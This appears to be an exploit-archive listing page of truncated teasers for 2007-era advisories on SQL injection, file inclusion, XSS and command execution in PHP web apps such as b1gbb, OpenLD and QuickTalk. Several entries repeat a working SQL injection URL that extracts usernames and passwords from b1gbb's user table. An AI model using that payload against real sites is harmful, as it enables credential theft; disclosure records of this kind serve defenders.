Re: [Full-disclosure] Mozilla protocol abuse

Since I published this report it has come to my attention that Thunderbird 1.5, unlike Thunderbird 2.0, has not been patched with the "osint" security flag. As such all Thunderbird 1.5 users are vulnerable against this attack and those exploits. Now would be a good time to upgrade to Thunderbird...

PHPHostBot 1.05 - 'Authorize.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/25073/info PhpHostBot is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also...

Prozilla Directory Script - 'Directory.php?cat_id' SQL Injection

--==+================================================================================+==-- --==+ Prozilla Directory Script SQL Injection Vulnerbility +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SITE:...

SquirrelMail G/PGP Encryption Plug-in 2.0 Command Execution Vuln

No description provided by source. SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability Bugtraq ID: 24782 ----------------------------- There are various vulnerabilities in this software! One is in keyringmain.php! $fpr is not escaped from shellcommands! testbox:/home/w00t...

Apple QuickTime 7.1.5 - Information Disclosure / Multiple Code Execution Vulnerabilities

source: https://www.securityfocus.com/bid/24873/info Apple QuickTime is prone to an information-disclosure and multiple remote code-execution vulnerabilities. Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted...

openld122-sql.txt

--==+================================================================================+==-- --==+ OpenLD = 1.2.2 SQL Injection Exploit +==-- --==+================================================================================+==-- DISCOVERED BY: Cody "CypherXero" Rester PAYLOAD: Admin username an...

OpenLD <= 1.2.2 (index.php id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================= OpenLD = 1.2.2 index.php id Remote SQL Injection Vulnerability =================================================================...

netflow-xss.txt

NetFlow Analizer 5 & OpManager 7 multiple XSS vendor url:http://www.adventnet.com/ advisore:http://lostmon.blogspot.com/2007/07/ netflow-analizer-5-opmanager-7-multiple.html vendor notify:yes exploits include:yes NetFlow Analizer and OpManager contains a flaw that allows a remote cross site...

b1gbb-sql.txt

b1gbb 2.24.0 SQL/XSS Remote Vulnerabilities D.Script : http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip Exploits SQL : //showthread.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concatusername,passwort,8%20FROM%20cebbuser%20%20where%20id=1/ OR...

b1gbb 2.24.0 (SQL Injection / XSS) Remote Vulnerabilities

No description provided by source. b1gbb 2.24.0 SQL/XSS Remote Vulnerabilities D.Script : http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip Exploits SQL : //showthread.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concatusername,passwort,8%20FROM%20cebbuser%20%20where%20id=1/...

QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities

No description provided by source. QuickTalk forum v1.3 Local File Inclusion download: http://www.qt-cute.org/download/qtf13.zip found by: katatafish [email protected] vulncode: $strLang = $GET"lang"; include"language/$strLang/qtflangreg.inc"; exploits:...

quicktalk-lfi.txt

QuickTalk forum v1.3 Local File Inclusion download: http://www.qt-cute.org/download/qtf13.zip found by: katatafish [email protected] vulncode: $strLang = $GET"lang"; include"language/$strLang/qtflangreg.inc"; exploits:...

b1gbb 2.24.0 (SQL Injection / XSS) Remote Vulnerabilities

Exploit for unknown platform in category web applications ========================================================= b1gbb 2.24.0 SQL Injection / XSS Remote Vulnerabilities ========================================================= b1gbb 2.24.0 SQL/XSS Remote Vulnerabilities D.Script :...

b1gbb 2.24.0 - SQL Injection / Cross-Site Scripting

b1gbb 2.24.0 SQL/XSS Remote Vulnerabilities D.Script : http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip Exploits SQL : //showthread.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concatusername,passwort,8%20FROM%20cebbuser%20%20where%20id=1/ OR...

QuickTalk forum 1.3 - lang Local File Inclusion

QuickTalk forum 1.3 - lang Local File Inclusion QuickTalk forum v1.3 Local File Inclusion download: http://www.qt-cute.org/download/qtf13.zip found by: katatafish [email protected] vulncode: $strLang = $GET"lang"; include"language/$strLang/qtflangreg.inc"; exploits:...

pharmacy-sql.txt

--==+================================================================================+==-- --==+ Pharmacy System v2 AND PRIOR SQL INJECTION VULNERBILITYS +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SCRIPT DOWNLOAD: PAY...

b1gbb 2.24.0 - footer.inc.php?tfooter Remote File Inclusion

b1gbb 2.24.0 - footer.inc.php?tfooter Remote File Inclusion b1gBB b1g Bulletion Board footer.inc.php Remote File Inclusion Vulnerabilities D.Script : http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip V.Code : include $tfooter In : footer.inc.php Exploits :...

b1gbb 2.24.0 (footer.inc.php tfooter) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ========================================================================= b1gbb 2.24.0 footer.inc.php tfooter Remote File Inclusion Vulnerability ========================================================================= b1gBB b1g Bulletion...

Pharmacy System 2.0 (index.php ID) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ===================================================================== Pharmacy System 2.0 index.php ID Remote SQL Injection Vulnerability =====================================================================...

Sun Board 1.00.00 alpha Remote File Inclusion Vulnerabilities

No description provided by source. Sun Board 1.00.00 Alpha Multiple Remote File Inclusion Vulnerabilities D.Script : http://mesh.dl.sourceforge.net/sourceforge/sunboard/sunboard.zip V.Code : require $sunPath.'config.php'; requireonce $sunPath.'dbms/'.$dbtype.'.php'; In : /include.php Exploits :...